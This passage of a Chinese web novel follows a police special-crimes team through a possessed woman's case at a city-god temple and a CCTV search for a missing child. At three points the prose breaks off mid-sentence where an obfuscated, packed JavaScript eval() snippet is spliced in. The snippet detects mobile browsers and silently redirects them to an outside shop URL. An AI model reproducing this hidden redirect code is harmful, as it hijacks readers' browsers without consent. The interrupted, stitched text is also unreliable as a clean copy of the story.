郑金虎说:“武局怕虚惊一场,让局里的兄弟们白忙活,所以让我们先小范围找一找,万一是个乌龙那最好,实在不行再报警。你也知道的,他要是一开口,局里肯定是大动作,他也是怕给咱们添麻烦,毕竟昨晚才出了桩案子。” 秋樰生认命地说:“行,那我去了。” …… 方许恩摘下耳机,见秦于理穿了小羊皮夹克外套往外走,赶紧也站起身来:“你去哪儿,出任务吗,我跟你一起去!” 秦于理凉凉看了他一眼,方许恩以为自己要挨骂,打定主意不管秦于理说什么都要厚着脸皮跟上去,谁想到秦于理只是扫他一眼,跟着也没说可不可以,自己往外走。 方许恩把耳机往桌上一丢,果断跟了上去。 两人乘坐电梯下去,又穿过空荡荡的地铁轨道,从另一条路七拐八绕从隀明市公安局的废弃档案室里走了出来。 一路上,方许恩都在琢磨刚刚谁给秦于理打了电话,说了点什么,才让她说出“我现在过来”这几个字。 “一定是大案子!”方许恩想。他好不容易混进重案组,现在一心要立稳脚跟,自己觉得自己有头脑,运动细胞也还行,应该能在案子里出点力,就跟朱平案那时候一样,方许恩很需要一些东西来证明自己对重案组是有用的。 谁想到秦于理从公安大楼里走出来,走过广场,朝大门走去。 方许恩:“???” 方许恩小跑着跟上去问:“秦队,我们现在要去哪里,不用坐车吗,我有车!” 秦于理突然停下了脚步,眼神投注到前方不远处,那里有一对青年男女正并肩往警局外头走,两人谁也没说话,气氛略显怪异。 似乎是察觉了秦于理的眼神,其中那个女的回头看了她一眼。那是一名二十出头的年轻女孩,长得很漂亮,画着浓妆,但此时妆已经全花了,看起来不觉美艳反而显得有些死气沉沉。秦于理收回目光,往旁边的停车场走去,方许恩赶紧追上去,那女孩大概觉得秦于理两人只是路过,又把头扭了回去,和身旁的男人一起加快脚步离开。 方许恩说:“秦队,等等我,你怎么走那么快!” 秦于理停下脚步:“车呢?” 方许恩:“啊?” 秦于理:“不是说你有车,能载我出门?” 方许恩马上说:“我车停在大楼另一边啊!好好好,你等我一下,我开过来接你!”说着又不要命地往另一头奔回去。 过了一会儿,秦于理终于坐上了方许恩的特斯拉毛豆Y。方许恩还不知道他们要去哪里,殷勤地问:“秦队,现在能告诉我,咱们去哪儿了吗?” 秦于理掏出手机说:“你等我查一查。” 方许恩:“啊?” 秦于理说:“知道隀明市有座城隍庙在哪里吗?” 方许恩:“城隍庙?” 车子的导航系统自动回答:“为您查到隀明市城隍庙,现在开始导航。” 56.第56章 善恶乘除 城隍庙在隀明市黄金地带,即便是工作日开车过去,依然会遇上堵塞。方许恩载着秦于理花了将近一个小时才终于抵达了目的地,结果又找不到停车场。 方许恩绕着目标点转了好几圈,直到秦于理已经打算把他扔掉自己下车的时候,方许恩才突然间灵光乍现,想到附近有家五星级宾馆,果断打电话给他的管家雍伯,老人家办事利索得很,没多久就给方许恩联络妥当了一个VIP停车位。 下车以后,秦于理把两手插在兜里感叹了一声:“钞能力真好,小方啊,你还是有点用的。” 方许恩:“……”一时不知道该高兴还是不高兴。 长假里前往城隍庙的人极多,方许恩本来打算去买票,票价也不贵,就10块钱门票,结果秦于理揪住他说:“买什么票,重案组免费,你忘了?” 方许恩:“你什么时候跟我说过?” 秦于理挠了挠脑袋说:“就上次啊,进龙王庙的时候,”停了停说,“哦,那次是秋樰生。” 其实也就几天前,回忆起来好像过了很久似的模糊,这证明屠菊英重生又死亡后,一切都在被修正。秦于理本来就是处理因果事情的专家,此时也不得不感叹方许恩这个观察者兼记录员出现的时机刚刚好,正应了那句一切自有安排。 方许恩跟在秦于理后面,夹在人群中通过城隍庙的山门,问她:“重案组为什么可以免费进入啊,是因为公职人员的缘故吗?” 秦于理说:“只有重案组有这个福利,因为我们本来就跟宫观庙宇有渊源。” 方许恩说:“重生案跟宗教场所有渊源吗,我懂了,这就像西方驱魔人和教廷的关系一样,既然是帮着打杂干活的,总得有点好处。” 秦于理用“孺子可教”的眼神看方许恩,说:“你比秋樰生懂得多。” 正在崧畔花园努力瞪大眼睛看监控的秋樰生有没有打喷嚏秦、方两人此时都不知道,不过不妨碍方许恩心里莫名有了一种优越感——领导夸我了!秋樰生,你是0000有正式编制又怎么样,哪怕你先进组,秦队也夸我比你懂得多呢! 秦于理也不知道是有意还是无意说的这句话,反正说完她就又继续手插兜里往里进了。 隀明市的城隍庙坐北朝南,有两进九殿,标准的东西对称式悬山顶建筑。隀明市老百姓素来相信本地城隍老爷是自己的顶头上司,就像县官不如现管,虽然也去其他宫观庙宇烧香祈福,但城隍庙在本地人心目中的存在意义到底是不同的,看周围的人山人海便可知晓。 方许恩才从国外回来,对这种传统建筑和古老的仪轨十分感兴趣,周围翠瓦朱檐、彩椽画栋,简直看得他目不暇接。山门之后是仪门,方许恩在门楣上挂的巨大算盘前停了下来,发出感叹:“这儿为什么有那么大一副算盘啊?算盘珠子还有上有下的!” 旁边一个来烧香的本地阿姨立刻给方许恩解释说:“这个是计算人间功德的,你看到算盘上的字没有,还有旁边的对联!” 方许恩努力读字句,算盘上刻着四个字“不由人算”,旁边有两副对联,外头的那副写着“阳世之间积善作恶皆由你,阴曹地府古往今来放过谁”,里头那副对联则写得是“世事何须多计较,神界自有大乘除”。 方许恩本来就长得眉清目秀的,看他吃力分辨对联上书法草字的样子,热心阿姨哈特软软,对他说:“你啊是头一次来啊?我跟你说,城隍老爷呢是惩恶扬善的,这个算盘的意思,就是我们凡人在人世间走过路过,每一步老爷本子上都是有记录的,做了好事加分,做了坏事扣分,等到哪天归西下了阴曹地府,立马跟你算总账哦!” 方许恩恍然大悟:“哦哦哦哦,我懂了,就是好人上天堂,坏人下地狱!” 热心阿姨说:“你是外国回来的啊,那更要多拜拜城隍老爷,你在国外不归他管,回来了总要报道一下,不然他老人家哪知道有个你对哇?” 方许恩还想问要怎么报到,秦于理实在蚌埠住了,揪着方许恩就走。 秦于理现在觉得秋樰生好了,那家伙虽然脾气差,但是行事利索也没那么没见过世面,怪谁呢,怪这家伙居然打两份工,现在不能来办案。 远处崧畔花园的秋樰生再次打了个喷嚏,用餐巾纸吸溜着鼻涕,擦掉眼泪,觉得自己大概是昨晚在金鑫大楼勘察现场着了凉。 城隍庙各个大殿都有信众跪拜,不过跪的人最多的还是财神殿和文昌殿,乌泱泱的一大片,反而是城隍老爷秦裕伯本人的正殿里人没那么多。这里设了个抽签点,信众们上了香就去摇签筒,等签子掉出来,就记了数字去旁边找工作人员领签文,此时还有个仙风道骨的老道长在那里给人解签。 方许恩看到新鲜事物,又想跑过去试试,被秦于理冷冷扫了一眼才被迫放弃,但看眼神,想必工作办完以后他是一定会来点卯抽签的。 秦于理左右扫视,似乎在找人,方许恩这次get到了,问她:“秦队,我们来这儿是要找什么人吗,你给我说说特征,我帮你一起找。” 秦于理说:“不用你找,是他约我来的,一定在。” 方许恩说:“他是谁?” “这座城隍庙的住持,他说碰到桩棘手的求助,有个客户中了邪,他们处理不了,所以通过上面找我们重案组过来看看。” 方许恩瞳孔地震:“什么?中邪?我们重案组还管这种事?” 秦于理说:“有什么好惊讶的,科学的尽头是玄学,玄学就是未被完全掌握的科学,一旦能对其进行完整的解析形成纲目课件,就是科学。” 方许恩似懂非懂,小鸡啄米一样点头,他说:“我看那个老道长好像资历挺深的,他不是住持吗?”方许恩还是聪明的,从秦于理用导航查城隍庙地址就可以看出她其实对这座庙宇也并不熟悉,而且如果两人本就认识的话,也不用通过上面来委托了,可见秦于理和这座城隍庙的住持可能不熟,甚至不认识。 秦于理自然也早就看到了那位老者,但她没有马上走过去,而是观察了一阵说:“不像。” 方许恩疑惑:“怎么不像了?我看我们经过那些殿里值班的道士都没他年长,他穿的衣服也很华丽,他还长得很厉害!” 秦于理还没说什么,从城隍老爷侧后方走出来一个二十多岁理平头的年轻男子。此时秋凉,这人却还穿着背心运动裤,戴副平光豹纹框眼镜,露着两条小麦色结实的胳膊,看起来像是RAPPER或者跳街舞的,特别是他前额挑染了一绺橙黄色扎眼至极的刘海。 秦于理心有所感,看向那人,对方也跟着看过来。上午的阳光穿透殿门照进来,在他眼镜片上一闪,像是对上了信号,这黄毛快步走上前来,冲着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702738|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦于理伸出手:“是秦队吧?” 秦于理有点不怎么想跟他握手,于是捏着方许恩的袖子,把他的手伸过去,嘴里说道:“是我,你是霍殊?” “对。”霍殊虽然有些意外,但也并没有生气,就着秦于理的动作,跟方许恩握了握手。 秦于理说:“方许恩,我们组新人。” “哦,幸会。”霍殊转身,“两位跟我来吧。” 秦于理和方许恩便跟着霍殊走出大殿,往东进入游廊走了一段,看到一段半人高的木门掩着的楼梯,霍殊打开楼梯,引他们上去,没一会儿,两人便发现他们此时位于东厢房的二楼,这里有几个小房间,最里面的一间上了锁,间或可以听到里面传来类似野兽呜咽的声响。整段走廊中都弥漫着一股浓郁的香味,像是要把什么东西腌入味。 霍殊说:“委托人一个月前把她母亲送到我们这里寻求帮助,那位老人间歇性发狂,认不得人,无法安睡也不能好好吃饭,一开始清醒时间还比较长,只是偶尔发狂,最近几天已经发展到十分严重,一天中几乎大部分的时间都在发作,十分偶尔才会有几分钟的清醒时间,这时候通常会表现得十分恐惧,她会到处寻找藏身之处,例如衣柜里、床底甚至是箱子里,仿佛在害怕什么东西,但是问她她又抗拒回答。我们已经试过了各种方式,始终无法解决,不得已才求助你们。” 方许恩问:“家属有没有带老人去精神类医院看过呢,我觉得这听起来有点像谵妄症。” 霍殊说:“当然是去看过的,600号的诊断结果是躁狂症,也配了药,但吃下去并没有效果。此外……”大概是轻易察觉了方许恩的生活背景,霍殊说,“家属也曾求助其他宗教,东西方都有,始终没法解决才送到了我们这里。” “也就是说,你们已经是最后一站了,如果连你们都无能为力,其他地方也不会有解决办法了?”方许恩问。 “不,还有重案组。”霍殊说,“自明代永乐年间本城隍庙建立以来,便与重案组一直保持着良好合作关系。” 方许恩再次剧烈震惊,结结巴巴地问:“什么,明代也有重案组?” 秦于理说:“不是跟你说……”她马上想起来类似的情形刚刚也发生过,只得再次重复解释,“重案组历史悠久,我知道的就可追溯到大唐开元年间,只不过那时候不叫这个名字,记着了,下次别再问了。” 秦于理忍不住在心里又念了秋樰生几句,远方的秋樰生第三次打喷嚏。 “真是邪了门了!”秋樰生擤鼻涕,继续可怜巴巴地查监控,做着枯燥的机械性工作。 这头,秦于理几人已经来到了那扇牢牢锁住的房门前,不知是不是感觉到门外站了人,里头的动静突然就变大了,先是翻倒桌椅的声音,然后是快速的奔跑,由远及近又由近及远,仿佛一个调皮捣蛋的孩子在房间里故意来回作妖,再接着,声音突然消失。 方许恩感到纳闷,下意识地把头前倾。他是个音乐家,比一般人对声音、节奏都更为敏感,这个动作完全是出自身体习惯,谁想到下一秒,那扇被锁住的大门突然从里面被什么东西用力撞了一下,古典双开木门往外隆起,发出巨大的哐当一声,吓得方许恩差点摔倒在地。更令人感到胆寒的是,从两扇门的门缝里,出现了一只充满了血丝的眼睛,恶狠狠地瞪着秦于理三人。 57.第57章 ET哎 “同志,要不要喝杯茶提提神?” 一只搪瓷茶缸被递到了秋樰生眼前,内壁挂满茶垢的茶缸子里飘着厚厚一层廉价茶叶,热气蒸腾,散发着略带苦涩的香气。 秋樰生捏了捏眉头,道了谢,接过茶缸,喝了一口。浓茶提神对一般人或许有用,但对公安干警这种提神用品的老用户,效果就不太好了。虽然如此,热茶下肚,秋樰生觉得自己多少还是好了那么一丢丢,至少脑壳上的神经蹦得慢了一点。 门卫老孟说:“您这是熬了多久了,眼睛里都有血丝了!” 秋樰生抬眼看了眼桌上摆着的小镜子,果然见到自己胡子拉碴,头发蓬乱,一双原本绝对可以说是漂亮的眼睛此时因为充满了血丝,配合那股没睡饱觉溢的出些许暴躁的气质,平添了几分阴郁。 “没什么,就是刚从外地回来,没来得及休息,有点累。”秋樰生说着,将播放键按下,继续用2倍速查看崧畔花园大门口的进出视频。 前头说过,崧畔花园一共有两个口子,实际使用中为了确保车道秩序,居委会制定了东门出,南门进的规定,所以理论上说,如果武心童今天凌晨被人从小区带了出去,应该能从东门这个保安岗亭的监控中找到痕迹。 毕竟已经是2025年了,现在要调查小区人员出入要比以前方便多了,一是因为有24小时探头,二是因为车辆出入有计费闸机,能直接调出进出车辆的车牌。 童童虽然是个孩子,毕竟也有十岁了,身高1米43,体重也有39kg,不是随便往包里一扔就能夹带出去的,换言之,今天凌晨,如果有人刻意将武心童从家里诱骗出来而后带走,必然需要交通工具才能达成目的,所以,只要查询车牌号就能极大的缩小调查范围。 然而,秋樰生根据门卫老孟调出的车牌号讯息查找后,很快发现,今天凌晨三点半之后到六点之前居然没有一辆车从崧畔花园离开,如此一来,便排除了凶手开车带走孩子的可能,剩下的方式就是三轮车、电瓶车乃至自行车等等,总之,只能靠肉眼观看监控视频的方式排摸。 秋樰生当然也询问过门卫老孟,老保安拍胸脯表示自己没看到那段时间有值得怀疑的人进出,秋樰生对此将信将疑。 崧畔花园是个老小区,刚建成的时候,本市有不少体制内的干部选择在这里定居,曾经也是管理严格,配备过高标准物业的高档小区,但随着岁月流逝,隀明市越来越多的地块被开发,越来越多的高档小区被建设,有身份地位又正值当打之年的干部早已纷纷搬离,现在小区里的人员结构变复杂了,物业档次也降了不少,工作人员大多是像老孟这样上了年纪的中老年人。秋樰生怀疑,老孟昨晚就算坐在椅子上打盹睡着了,应该也没人会来查岗。 老孟小心翼翼地问:“同志,到底出什么事了?” 秋樰生说:“没什么,日常了解些情况。” 武东青不想惊动大家,所以除了林秀华去询问过的平时有往来的几户邻居,其余人现在还都不知道武心童失踪的事。秋樰生自然也深知人民群众想象力之丰富,但凡漏一点消息出去,不用半天,可能已经被传成外星人绑架小孩,所以一点儿也没提事由,只开门见山调监控查阅。 画面上,小区门口一直是冷冷清清的,大概是因为住在这里的年轻人不太多,凌晨出门的住户寥寥无几。秋樰生看了好一阵,只看到两个出门的人,一男一女,而且是独自出门,并没有看到蹬三轮、骑车甚至是带着行李箱的样子,而且其中一人没过多久就回来了,嘴里叼着烟,估计是烟瘾犯了,出门买烟的,另一个女的虽然带着包,但只是个小拎包,根本装不下人,她出去了便没再回来。 秋樰生已经从凌晨三点半的录像看到了清晨五点十三分,就这么两个人,确实就像老孟说的那样,一点儿也不可疑。 清晨五点半,武东青就起床了。据他所说,在粗略收拾了家里,把早饭要吃的包子放进蒸箱,按了定时键以后,他就出门买菜去了,离开小区的时候大约在清晨五点三刻左右。而林秀华是在清晨六点起床的,她收拾了家里,在六点一刻的时候进入武心童房间想要拿孩子的新衣服过水,结果发现孙子不在家中,随后赶紧拨打了老伴的电话。武东青六点四十多分赶回家中,接着和老婆在别墅、童童爱玩的小区花园和几户走得近的邻居家都找过,确认小孩不见了,才在七点十五分给郑金虎打了电话。 秋樰生觉得,既然可能是熟人作案,对方对老武家两口子的作息肯定是做过一番调查的。如果想把小孩神不知鬼不觉的带走,肯定会赶在五点半之前,毕竟谁也说不好习惯五点半起床的武东青会不会一大早起来突然想起来去看看自己的宝贝孙子,万一发现了孙子失踪闹将起来,再想走就走不脱了。 可判断是这么判断,秋樰生眼前的监控视频已经滚到五点二十分了,天已经发亮,小区门口的道路人影都能看清楚了,上了年纪的老住户们开始活动,起床锻炼或是出门买菜,还是没能看到疑似夹带武心童的人。秋樰生开始怀疑自己是不是精神不济,漏看了。毕竟哪怕是并不熟悉老武夫妻的作息也绝对不可能选择在六点天亮之后离开崧畔花园,那时候进出大门的人太多了,天光夜足够把人看个一清二楚。再说了,明明三点半已经拐跑了童童,继续留在小区里几个小时也没有意义…… 秋樰生无奈地再次将监控视频倒回去,打算重新从三点半那段再回看一次。他问老孟:“这个小区还有没有别的出入口?” 老孟说:“如果是行人的话,从南面那个口子也是可以出去的。” 秋樰生当然也把南边的录像调出来了,他问:“除了这两个口子呢?” “那就没有了,我们小区就这两个门,一进一出。” 秋樰生说:“缺口呢,或者可以翻越的围墙有没有,又或者和其他小区或者外面联通的湖呢?” 虽然带着个十岁的孩子翻墙或是从水路出去这种事也显得有些天方夜谭,但最初的排查必须得考虑各种可能性。秋樰生过去接触过或是听说过很多离奇吊诡的案件,那往往不是因为罪犯多么的高智商,而是很多罪犯的脑回路跟一般人完全不同,作案的手法十分反常识,对正常人来说,反而容易形成思维盲区。 老孟这次认真想了好一会儿,最后还是说:“同志,我觉得应该是没有其他口子了,至少我知道的范围内是没有的。” 秋樰生有点烦恼地挠了挠自己的寸头,觉得自己这两天办案的运气有点差,因为昨晚他看了一晚金鑫大楼的监控视频,也是一无所获。除了那对偷偷翻墙进去的网红,并没有找到丢弃无头男尸的可疑人影。别说金鑫大楼并非第一案发现场,哪怕是,那具无头男尸自己走进去也应该在监控里留下影像,怎么会什么痕迹都没留下呢?结果现在又多了一个莫名其妙失踪的武心童。 突然,一旁陪着一起看的老孟说了一句:“咦,那是个什么东西?” 秋樰生下意识地按下暂停键,再看屏幕当中,时间停留在凌晨3点47分,这时候那个出门买烟的男的已经出去了,距离那个离开小区的女的出现还有将近二十分钟,此时崧畔花园小区门口一个人影也没有……不,应该说是没有人,但是有个人影! 秋樰生放大屏幕上的图像,意外发现在小区门口的地面上,出现了一道奇怪的影子。秋樰生立刻跳起身,跑出岗亭查看,老孟也赶紧跟出去。小区门口的灯光是小区进门后一米的一盏路灯提供的,从刚刚在屏幕上看到的影子方向来看,那应该是一个小区里头的影子。 深夜,小区里头有道影子其实也不算那么奇怪,可这个影子怪就怪在形状不对劲。 秋樰生重新回到监控屏幕前,再一次放大图像,提高对比度,仔细琢磨那个影子。反复几次后,他还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16717656|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是觉得自己没看错,那是一个脑袋大大,细长身体的疑似人影子,似乎正从崧畔花园的小区里头,鬼鬼祟祟地观察小区岗亭里的门卫老孟。 老孟突然“哎呀”一声,大概这时也想明白了今天凌晨,曾有个古怪的影子近距离观察过自己。 “总不能真的是ET吧……”秋樰生脑海里浮现出西方科幻电影中ET的经典形象,整个人都不好了! …… 看到那只充满血丝的眼睛,方许恩“哎哟”叫了一声,本来就吓得差点坐倒在地,这次直接腿软了,慢慢地坐了下去。 “这是什么呀?”他结结巴巴地问。 “是牟女士,委托人的母亲,也就是这次中邪事件的当事人。”霍殊显然已经对此习以为常,淡淡地说明。与此同时,门里被锁着的牟女士不知道是不是被外面三人刺激到了,嘴里“嗬嗬”叫嚷着开始撞门。 “咚”,一下;“咚咚”,两下;“咚咚咚”,三下! 明明应该是个上了年纪的老太,长得也并不高大,她那瘦小的身躯里却像是有无穷无尽的力量,把那扇双开门撞得哐哐作响,灰尘在日光中跳个不停。 秦于理说:“她这样多久了?” 霍殊说:“就这周开始变严重的,但昨天还没那么狂躁,只是在屋子里摔砸东西,这种样子还是头一次见。”显然,他也有些意外,面色变得凝重起来。 “放我出去,放我出去!我要出去!”里头的牟女士边喊边撞,声音奇怪的粗哑,像是嗓子早就已经喊破了,咬字吐词都很含糊,却又奇妙地能让人分辨清晰,像是一个人打开了你的天灵盖,强行往里头塞书页。 方许恩捂着耳朵,十分痛苦,他说:“这里这么吵,你们就不怕游客听到报警吗?” “我们当然做了隔音措施,下面的人听不到。”霍殊说,“本来放在这里就是为了镇压她身体里不属于自己的部分,现在看来措施也已经开始失效了。” 秦于理说:“这下面是?” “关圣殿。” “哦。”秦于理了然。 城隍庙是传说中一个地区冥界的地方治理机构,关圣帝君关二爷,又历来被尊崇为诛灭宵小邪贼的强大存在,如今当事人在城隍庙里的关圣殿上头闹成这样,可见霍殊的确是一点办法也没有了。 不知道是不是看出秦于理的意思,霍殊解释道:“如果非要动手也不是不行,但到时候当事人的性命就不好说了,或者命能保住,脑子的损伤无法避免,所以我才想着最好让你们重案组来看一眼,如果能以最小的代价帮助当事人渡过难关,当然是最好的。” 这意思就是说,他们城隍庙也不是一点办法就没有,主要还是慈悲为怀,并不是不如你们重案组。 秦于理没去计较霍殊的小心思,说:“方许恩,起来。” 方许恩赶紧站起身,他腿还有点软,特别是看到牟女士再次撞门还龇出一口牙的时候,她的牙龈上都是血,估计是发狂的时候自己咬破的,看着叫人胆寒。 秦于理又说:“方许恩,我记得你说过自己很擅长跑步吧?” 方许恩一脸茫然:“啊,我是挺喜欢长跑的,一直有健身习惯。” 秦于理说:“那感情好,一会儿你好好发挥。” 方许恩:“???” 霍殊走上前,秦于理说:“我数到3,你把门打开。” 霍殊点头,从裤兜里摸出一个车钥匙一样的遥控器。 方许恩:“!!!等等,你们……” 秦于理:“3!” 里头的牟女士刚刚撞完一下,往后退开,似乎在蓄力助跑。于是,伴随着咔的一声,霍殊按下遥控键,雕花双开门上的门锁应声而落,一个头发花白的老太跟条猎犬一样猛然加速跃了出来,冲向方许恩。 “FXXX!”方许恩掉头拔腿就跑! 58.第58章 方许恩上工 眼前是无尽的长廊,看不到尽头,身后是穷追不舍好像猛兽一样满口是血的疯狂老太,方许恩在中间不要命的狂奔。 说来也奇怪,刚刚上来的时候,这段走廊并没有那么长,此时方许恩却怎么跑也跑不到头。这在现在的危急情况下,勉强算个好事,至少只要方许恩还在跑,就不用担心被老太太追上,可问题是,方许恩的体力也是有限的,不可能无限续航。方许恩现在有点后悔自己向秦于理炫耀自己运动神经好了,很明显,秦于理这是把他当成了调虎离山的诱饵。 “当诱饵其实也行,可是你怎么一直不采取行动啊!!!”方许恩在心里惨叫。 方许恩自从钓了老太太开始跑路就一直在留意后方的动静,他相信秦于理不可能把牟女士放出来就不管了,也不可能让自己无休止地跑下去,可奇怪的是,跑了那么久了,方许恩始终没有听到身后传来除了老太太奔跑咆哮以外的其他声音,别说是秦于理了,连霍殊仿佛都突然间消失,整条走廊上如今只剩下了方许恩和老太。 想到这里,方许恩忍不住打了个哆嗦,他才分心放慢了一点脚步,便感觉脑后劲风刮来,鼻子里也闻到了一股带着淡淡臭味的血腥气。 “不好!”方许恩在最后一刻猛然往前跃出,摔倒在走廊上。走廊地板很滑,看来平时没少护理,方许恩跟个冰壶一样,往前滑出去几米才停下来,伸手一摸,自己脖子上已经多了半口牙印。 “我艹!”即便再绅士风度,生死关头也不可能优雅依旧了,方许恩趔趄着爬起来,继续往前跑,才迈出去两步,就听到身后“咚”的重重一声,他忍不住回头看去,眼睛都跟着花了一下。 最近的地方当然是那个追杀他的牟姓老太太,此时她就跟头猛虎一样四肢并拢,砸在方许恩刚起身的地方,从她身周掉落在走廊上的木屑来看,刚刚方许恩爬起来的地方应该已经被砸出了一个坑——老太的实力竟如此可怕,更让方许恩绝望的是,他第一次往后看,看到的依然是一条无穷无尽,看不到尽头的走廊,而走廊里果然并没有秦于理和霍殊的身影。 一击扑空,老太太跟只大猫一样,满是血丝的眼睛里原本圆溜溜的瞳仁竟然变为了竖瞳,她咆哮着在原地转来转去,死死盯着方许恩,似乎在判断下一次出击的方向。 “来了!”方许恩心中警铃大作,在老太太扑倒他前一秒,猛然往旁边跃开,躲过了这一击。可惜,方许恩忘了这里是一条宽度有限的长廊而非开阔的空地,他的一侧肩膀重重撞到墙上,疼得刹时两眼盈泪。 老太太用手不停地刨着地面,十根手指甲都已经磨破,指尖鲜血淋漓,她却像是感觉不到疼痛,死死盯着方许恩。 “她又要动了!”方许恩再次预判了老太的动作,这一次他同时衡量了躲避空间,强力压制住内心的慌乱,在老太太的身体跃上半空,去向明朗的时候才倒退着撤步躲开,险之又险地躲过了这一击。 “成功了!”方许恩不由得精神一振。不知道为什么,他发现自己在这生死存亡关头拥有了某种能力,他能看清楚这老太太的动作,并据此做出推断,判断出她下一个动作的准备、启动及落点,从而做出应对。 于是,在接下来的时间里,方许恩和老太太就像猫抓耗子一样重复着她追他逃的过程。再一次极为惊险地避开老太太一口利牙的时候,方许恩已经浑身是汗,眼睛看出来的世界有了虚影。 “不行了!”方许恩用力摇晃脑袋,可眼前的世界还是像高度散光近视眼看到的一样重影。他的体力下降得非常快,快到此时已经开始感到腿肚抽筋。方许恩依稀看到牟老太弓起背脊,判断她要再次起跳,赶紧做好了后退的准备,然而这一次他一脚踩下去腿筋却猛的一抽,疼得他“嗷”一声跪倒在地。 “糟了!”头顶笼罩下来的腥气让方许恩意识到牟老太此时已经跃到了他头顶,他想向侧面滚开,可两条腿却像是被石化了一般不听使唤,方许恩的脑海里已经自动推演出了后续将发生的事情。他会被牟老太扑倒,然后对方会张开嘴,狠狠咬住他的颈动脉,然后…… 沉重的“咚”的一声,如同利刃的劲风竖着从方许恩额头前切下来,就像是刽子手的铡刀只差一寸就要铡掉方许恩的脸皮鼻子,方许恩惊魂未定地抬头,看到牟老太的脸孔距离自己只有几公分的距离,她手脚乱动,嘴里嗷呜不停却无法挣脱桎梏,她背上此时踩着一个人,正是刚刚不知跑到哪里去了的秦于理。 秦于理的齐耳短发因为气流飞起来,露出她平日里总是显得凉薄的丹凤眼,她现在看起来一点都不淡人,也不凉薄,反而身上带着一种可破千军万马的气势。只见她单膝压住牟老太后背,抓了她胡乱挥舞的两只手反剪到身后,用另一只脚踩住,随后托起女人的下巴让她昂起脑袋,一手点在她的眉心。 清脆的声音响起:“开因果!” 方许恩的耳朵里一瞬间像是响起了轮盘搅动的声音,无数根铁链从四面八方激射而出,眨眼之间把周围堵了个严严实实,四周的光线也刹那间变得昏暗,鼻子里闻到了一股又冷又霉的味道。 “这是哪儿?” “牟老太的因果空间。” “牟……”方许恩一骨碌站起身,差点把自己的脑袋钻进几根铁链组成的枷锁里,还好发现不对,及时又蹲了下去。 “秦于理,秦于理你在哪里?”方许恩小声喊,周围那些摇晃的带着铁锈的锁链让他感到十分不适,尤其这些铁链比之前那条走廊看起来都更无尽。没有出处,也没有终点,只是从这片空间中横七竖八地穿插而过。 方许恩小心翼翼抬起头想看看顶上是什么样的,结果看到了一片灰蒙蒙的飘着雪花的天空。 “这里怎么这么冷,我要冷死了。”方许恩拼命搓着身上的鸡皮疙瘩,隀明市虽然已经入秋,但气温还有二十多度,正是凉爽不冷的好时节,这里却冷得要命,方许恩发现自己说话的时候,嘴边都有了白气。 “这是因果空间里的记忆,并不是真实的,你感到的冷只是一种幻觉,你要习惯忽视它。”秦于理的声音再次响起,若远若近,就是看不到她的身影。 “可我真的很冷啊!”方许恩冷的都开始牙齿打颤了,他说,“秦于理,你在哪里,我怎么看不到你?” “每个人进入因果空间的位置都是随机的,就算是同一时间同一地点进入到同一个人的因果空间都未必在一块儿,这是重案组工作中常见的危险,我劝过你退出,是你自己非要进来。” 秦于理的声音冷冷的,像北方冬天屋檐下挂着的冰凌,看起来会有种甜丝丝的幻觉,但嚼到嘴里只剩下冻。 “这算什么,对我的考验?!”方许恩低低骂了一声,他用手撑着膝盖,仰着头,一点一点在铁索与铁索的缝隙间挪动。方许恩其实不知道自己接下来要去哪里,该做什么,他就是觉得,不能再坐以待毙,不然,就算自己没被冻死,也会因为秦于理的瞧不起羞愧而死。“等着瞧吧,我才不是四体不勤五谷不分的纨绔大少爷呢!” 方许恩骂骂咧咧地挪着小碎步,十分缓慢地行进,甚至产生了这次案件结束之后自己应该去报个瑜伽班练练身体柔韧度的想法。 天上一直在飘落雪花,方许恩好几次看到完整的六角形雪片从自己眼前飘落,但那些雪花落到地上后却没有积累起来,也没有变成湿润的雪水,而是就这么消失无踪。看来秦于理说得没错,这里的一切都是幻觉。那么锁链呢? 方许恩曾经进入过朱平的因果空间,但那一次他并没有经过因果线空间,直接就连接上了观察者小屋,通过监控显示屏目睹了秦于理和秋樰生在记忆影像中行动的全过程,换言之,方许恩其实从来没实际接触过因果线,更何况这次是因果锁链。 方许恩不知道轻重,伸出手试着触碰距离自己最近的那根锁链。那是一根较其他锁链细一些,锈蚀了一半的锁链,当方许恩的指尖触碰到冰凉的链身时,突然间,整个因果空间的锁链都像是被惊动了一般开始剧烈抖动起来,发出“哗啦哗啦”的巨大声响。 “怎么回事,为什么锁链动起来了,我做错了什么!”方许恩陷入慌乱,直觉提醒他要快点跑,可他现在在层层锁链的困囿之下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723225|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根本没法放开手脚跑。 